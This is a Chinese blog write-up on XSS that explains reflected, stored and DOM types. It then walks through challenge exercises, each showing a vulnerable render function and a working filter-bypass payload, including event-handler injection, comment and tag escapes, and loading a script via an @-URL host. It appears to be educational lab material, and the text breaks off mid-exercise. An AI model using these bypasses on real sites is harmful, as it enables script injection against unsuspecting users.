Web安全XSS修炼计划

前言

XSS全称为跨站脚本攻击【Cross Site Scripting,为不与层叠样式表【Cascading Style Sheets, CSS缩写混淆,故此名为XSS

XSS恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

原理

  • 攻击者对含有漏洞的服务器发起XSS攻击【注入JS代码。
  • 诱使受害者打开受到攻击的服务器URL
  • 受害者在Web浏览器中打开URL,恶意脚本执行。

攻击方式

XSS可以分成二类:

  • 非持久型XSS攻击:顾名思义,非持久型XSS攻击是一次性的,仅对当次的页面访问产生影响。非持久型XSS攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。
  • 持久型XSS攻击:持久型XSS,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。

XSS也可以分成三类:

  • 反射型:经过后端,不经过数据库。
  • 存储型:经过后端,经过数据库。
  • DOM型:不经过后端,DOM-Based XSS漏洞是基于文档对象模型【Document Objeet Model,DOM的一种漏洞,DOM-XSS是通过URL传入参数去控制触发的。

反射型XSS例题

题目出自这位dalao

0X00

Server Code
1
2
3
function render (input) {
return '<div>' + input + '</div>'
}

此处没有什么过滤,最基础的XSS攻击。

Input Code
1
<script>alert(1)</script>
Html
1
<div><script>alert(1)</script></div>

0X01

Server Code
1
2
3
function render (input) {
return '<textarea>' + input + '</textarea>'
}
此处使用HTML中的**

** 便可。

Input Code
1
<textarea><script>alert(1)</script>
Html
1
<textarea></textarea><script>alert(1)</script></textarea>

0X02

Server Code
1
2
3
function render (input) {
return '<input type="name" value="' + input + '">'
}

依旧没过滤,闭合双引号及input标签就可以了。

Input Code
1
"><script>alert(1)</script>
Html
1
<input type="name" value=""><script>alert(1)</script>">

0X03

Server Code
1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}

此处使用正则匹配了()并替换为空格。

那么只能使用HTML对()进行编码。

因此需要使用到onerror事件。

笔记

onerror 事件会在文档或图像加载过程中发生错误时被触发。

Input Code
1
<img src="" onerror=javascript:alert&#x28;&#x31;&#x29;>
Html
1
<img src="" onerror=javascript:alert&#x28;&#x31;&#x29;>

0X04

Server Code
1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()**]/g
input = input.replace(stripBracketsRe, '')
return input
}

如0X03。

Input Code
1
<img src="" onerror=javascript:alert&#x28;&#x31;&#x29;>
Html
1
<img src="" onerror=javascript:alert&#x28;&#x31;&#x29;>

0X05

Server Code
1
2
3
4
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}

这儿使用replace函数将-->过滤了,防止构造闭合。

但是可以使用--!>来跳过注释。

Input Code
1
--!><script>alert(1)</script>
Html
1
<!-- --!><script>alert(1)</script> -->

0X06

Server Code
1
2
3
4
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}

此处的.匹配的是除了换行符***之外的字符串,所以换行就行了。

并且这里return回去的是一个input标签。

那么可以使用其中的type属性进行一些操作,比如改成img再使用上面的oneerror或者改成button然后使用onclick操作。

Input Code
1
2
type="image" src="" onerror
="alert(1)"
1
2
3
type="button" 
onclick
="javascritp:alert(1)"
Html
1
2
<input value=1 type="image" src="" onerror
="alert(1)" type="text">
1
2
3
<input value=1 type="button" 
onclick
="javascritp:alert(1)" type="text">

0X07

Server Code
1
2
3
4
5
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}

这里过滤了<开头>结尾的字符串,因此利用容错性,不构造>

Input Code
1
<img src="" onerror ="alert(1)"
Html
1
<article><img src="" onerror ="alert(1)"</article>

0X08

Server Code
1
2
3
4
5
6
7
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>`
}
这里过滤了**

**,但并没有做什么其他的匹配。

所以在标签>之前空格或者换行即可。

Input Code
1
</style ><script>alert(1)</script>
Html
1
2
3
<style>
</style ><script>alert(1)</script>
</style>

0X09

Server Code
1
2
3
4
5
6
7
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}

这里首先是需要匹配到https://www.segmentfault.com这一串字符。

然后在进行闭合**

这个标签,最后的">可以使用//**进行注释。

Input Code
1
https://www.segmentfault.com"></script><script>alert(1)</script>//
Html
1
<script src="https://www.segmentfault.com"></script><script>alert(1)</script>//"></script>

0X0A

Server Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f')
}

const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}

这里过滤了&,便不能使用HTML编码绕过。

还过滤了‘、“、<、>、/,便不能再构造闭合。

因此只好利用URL的**@**引入外部的JavaScript文件。

Input Code
1
https://www.segmentfault.com@xss.southsea.st/myjs/copyright.js
Html
1
<script src="https:&#x2f&#x2fwww.segmentfault.com@xss.southsea.st&#x2fmyjs&#x2fcopyright.js"></script>

0X0B

Server Code
1
2
3
4
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}

这里使用toUpperCase将字符串全部转化成为了大写。

那么有二解。

一是由于HTML大小写不敏感,所以可以直接构造** © 2018 – 2024 南溟NaN